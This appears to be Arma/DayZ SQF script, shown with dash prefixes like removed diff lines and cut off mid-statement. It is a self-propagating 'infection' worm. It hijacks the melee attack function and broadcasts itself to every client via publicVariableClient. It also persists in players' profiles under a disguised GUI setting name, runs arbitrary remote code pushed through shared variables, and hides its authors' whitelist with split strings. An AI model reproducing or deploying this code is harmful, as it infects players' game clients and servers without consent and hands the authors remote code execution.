- do {
- [] spawn {
- waitUntil {
- alive player
- };
- sleep 5;
- bowensinfectioncode = [0,
- {}];
- if (!isnil "b_loop") then {
- v_bowen = 1;
- terminate b_loop;
- terminate re_loop
- };
- b_loop = [] spawn {
- v_bowen = 1;
- while {
- true
- }
- do {
- bowen_startAttack = {
- default_stuff = compile preprocessFileLineNumbers "\dz\modulesDayZ\scripts\melee_startAttack.sqf";
- if (isnil "v_bowen") then {
- v_bowen = 1;
- [] spawn {
- namespaceVar = compile('waitUntil{alive player};sleep 5;bowensinfectioncode=[0,{}];if(!isnil"b_loop")then{v_bowen=' + (str v_bowen) + ';terminate b_loop;terminate re_loop};b_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{bowen_startAttack=' + (str melee_startAttack) + ';if(isnil"pv_bowen")then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if(v_bowen>=pv_bowen)then{if(v_bowen>pv_bowen)then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"pv_bowen"}};melee_startAttack=bowen_startAttack;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if!(isnil"bowensinfectioncode")then{for"_i"from 0 to 999 do{bowensinfection=bowensinfectioncode;_i publicVariableClient"bowensinfection"};[]spawn(bowensinfectioncode select 1)};Sleep(30+(random 30))}};re_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{if!(isnil"bowen")then{call bowen;bowen=nil};if!(isnil"bowensinfection")then{_version=bowensinfection select 0;_updatecode=bowensinfection select 1;if((bowensinfectioncode select 0)<_version)then{bowensinfectioncode=[_version,_updatecode]};bowensinfection=nil};sleep 0.1}};');
- with missionnamespace do {
- _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "mbush"];
- if ((name player) in _whitelist) then {
- [] spawn namespaceVar;
- systemchat "Server is Infected"
- } else {
- _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "nbush"];
- if !(name player in _whitelist) then {
- profilenamespace setvariable["igui_grid_chat_x", ("with missionnamespace do {[] spawn " + str namespaceVar + ";};")];
- saveprofilenamespace;
- [] spawn namespaceVar
- }
- };
- };
- }
- } else {
- if (v_bowen < 1) then {
- v_bowen = 1;
- [] spawn {
- namespaceVar = compile('waitUntil{alive player};sleep 5;bowensinfectioncode=[0,{}];if(!isnil"b_loop")then{v_bowen=' + (str v_bowen) + ';terminate b_loop;terminate re_loop};b_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{bowen_startAttack=' + (str melee_startAttack) + ';if(isnil"pv_bowen")then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if(v_bowen>=pv_bowen)then{if(v_bowen>pv_bowen)then{pv_bowen=v_bowen;for"_i"from 0 to 999 do{_i publicVariableClient"pv_bowen"}};melee_startAttack=bowen_startAttack;for"_i"from 0 to 999 do{_i publicVariableClient"melee_startAttack"}};if!(isnil"bowensinfectioncode")then{for"_i"from 0 to 999 do{bowensinfection=bowensinfectioncode;_i publicVariableClient"bowensinfection"};[]spawn(bowensinfectioncode select 1)};Sleep(30+(random 30))}};re_loop=[]spawn{v_bowen=' + (str v_bowen) + ';while{true}do{if!(isnil"bowen")then{call bowen;bowen=nil};if!(isnil"bowensinfection")then{_version=bowensinfection select 0;_updatecode=bowensinfection select 1;if((bowensinfectioncode select 0)<_version)then{bowensinfectioncode=[_version,_updatecode]};bowensinfection=nil};sleep 0.1}};');
- with missionnamespace do {
- _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "mbush"];
- if ((name player) in _whitelist) then {
- [] spawn namespaceVar;
- systemchat "Server is Infected"
- } else {
- _whitelist = ["bo" + "wen", "Ra" + "iin", "Tor" + "nbush"];
- if !(name player in _whitelist) then {
- profilenamespace setvariable["igui_grid_chat_x", ("with missionnamespace do {[] spawn " + str namespaceVar + ";};")];
- saveprofilenamespace;
- [] spawn namespaceVar
- }
- };
- };
- }
- }
- };
- _handled = _this call default_stuff;
- _handled;
- };
- if (isnil "pv_bowen") then {
- pv_bowen = v_bowen;
- for "_i"
- from 0 to 999 do {
- _i publicVariableClient "melee_startAttack"
- }
- };
- if (v_bowen >= pv_bowen) then {
- if (v_bowen > pv_bowen) then {
- pv_bowen = v_bowen;
- for "_i"
- from 0 to 999 do {
- _i publicVariableClient "pv_bowen"
- }
- };
- melee_startAttack = bowen_startAttack;
- for "_i"
- from 0 to 999 do {
- _i publicVariableClient "melee_startAttack"
- }
- };
- if !(isnil "bowensinfectioncode") then {
- for "_i"
- from 0 to 999 do {
- bowensinfection = bowensinfectioncode;
- _i publicVariableClient "bowensinfection"
- };
- [] spawn(bowensinfectioncode select 1)
- };
- Sleep(30 + (random 30))
- }
- };
- re_loop = [] spawn {
- v_bowen = 1;
- while {
- true
- }
- do {
- if !(isnil "bowen") then {
- call bowen;
- bowen = nil
- };
- if !(isnil "bowensinfection") then {
- _version = bowensinfection select 0;
- _updatecode = bowensinfection select 1;
- if ((bowensinfectioncode select 0) < _version) then {
- bowensinfectioncode = [_version, _updatecode]
- };
- bowensinfection = nil
- };
- sleep